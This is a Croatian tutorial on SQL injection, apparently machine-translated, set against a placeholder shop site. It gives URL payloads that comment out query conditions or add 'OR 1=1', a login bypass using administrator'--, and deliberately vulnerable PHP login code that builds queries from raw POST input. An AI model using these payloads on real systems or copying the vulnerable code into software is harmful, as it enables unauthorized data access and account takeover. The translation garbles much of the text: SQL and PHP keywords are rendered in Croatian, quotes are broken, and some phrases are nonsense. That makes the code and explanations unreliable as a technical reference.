Kako implementirati SQL injekciju

Što je SQL Injection (SQLi)?

SQL injekcija je jedan od najčešćih mehanizama web napada koji koriste napadači za krađu zapisa i osjetljivih zapisa s poslovnih ili društvenih medijskih platformi. Iako SQL Injection može izgubiti bilo koju informaciju aplikacija koja koristi SQL bazu podataka, milja se najčešće koristi za napad na web-mjesta. SQL Injection je tehnika ubrizgavanja koda koju hakeri mogu koristiti za umetanje zlonamjernih SQL izraza u ulazne upite za izvršenje kroz temeljnu SQL bazu podataka. Ova metoda je izvediva zbog nepravilnog kodiranja nagnutih web paketa. SQL injekcija se povećava zbog činjenice da je pristup ulaznim poljima stavljen na raspolaganje korisniku da unese sve loše tipove SQL naredbi da prođe i izravno umetne upite u bazu podataka.

Različite vrste injekcija

  • Izmijenite SQL upit i dohvatite dodatne informacije iz baze podataka, možemo reći ovo dohvaćanje skrivenih podataka iz tablica.
  • Ometajte poslovnu logiku i modificirajte upit kako biste promijenili logiku aplikacije.
  • Dobijte podatke iz različitih tablica u bazi podataka i napadnite ih, to se zove UNION napadi.
  • Ispitivanje baze podataka, u kojoj možete izdvojiti informacije o verziji i strukturi baze podataka.

Dobijte skrivene podatke

Upišite ovaj URL u vaš preglednik i iz tablice dohvatimo kategorije bonusa:

https://insecure-website.com/products?category=Bonus

To uzrokuje da aplikacija napravi SQL pitanje kako bi dohvatila informacije o relevantnoj robi iz baze podataka na sljedeći način:

ODABIR * IZ roba GDJE kategorija = 'Bonus' I pušteno = 1

Ovaj SQL upit traži od baze podataka da vrati:

  • sve informacije (*)
  • Sa stola za proizvode
  • Gdje je kategorija Bonus
  • I objavljeno je 1

Softver ne daje na snagu nikakvu obranu od napada SQL injekcije, tako da napadač može izvesti napad poput:

https://insecure-website.com/products?category=Bonus’ – –

Rezultat gornjeg upita je:

ODABIR * IZ proizvoda GDJE kategorija = 'Bonus'–' I pušteno = 1

Ključna komponenta upravo ovdje je da je serija s dvostrukom crticom — indikator primjedbe u SQL-u, a znači da se ostatak pitanja tumači kao komentar. Time se uspješno rješava ostatak upita, tako da više ne uključuje AND launched = 1. Na taj način se prikazuje svaki proizvod, kao što su neobjavljeni proizvodi.

Druga metoda za SQL injekciju:

https://insecure-website.com/products?category=Bonus’+OR+1=1–

Rezultat:

ODABERITE * IZ proizvoda GDJE kategorija = 'Bonus' ILI 1=1–' I pušteno = 1

Koristeći gornji upit možete jednostavno napasti bazu podataka.

Promijenite logiku aplikacije

Zaobiđite račun za prijavu pomoću upita u nastavku:

ODABIR * IZ korisnika GDJE korisničko ime = 'john' I lozinka = 'johnwilliam'

Dnevnik napadača s korisničkim imenom bez ikakve lozinke, u SQL upitu koristite – – lozinku s dvostrukom crticom i komentirajte je u klauzuli gdje. Na primjer, pošaljite upit s korisničkim imenom administrator i praznim poljem za lozinku. Upit je:

ODABIR * OD korisnika GDJE korisničko ime = ‘administrator’ – – ‘ I lozinka =

Također su mnoge metode za SQL injekciju.

Kako izvršiti SQL injekciju na stranici za prijavu

Jednostavan PHP kod za SQL injekciju na stranici za prijavu dat je u nastavku:

$uname = $_POST [ ' uname ' ] ;

$passwrd = $_POST [ 'passwrd' ] ;

$query = ‘ odaberite korisničko ime, proslijedite od korisnika gdje je korisničko ime = ‘ $uname ‘ i lozinka = ‘ $passwrd

$rezultat = mysql_query ($upit);

$rows = mysql_fetch_array ($rezultat);

Ako ( $redova )

{

echo ‘Uspješno ste se prijavili’;
create_session() ;

}

ostalo {

echo ‘ Više sreće sljedeći put ‘ ;
}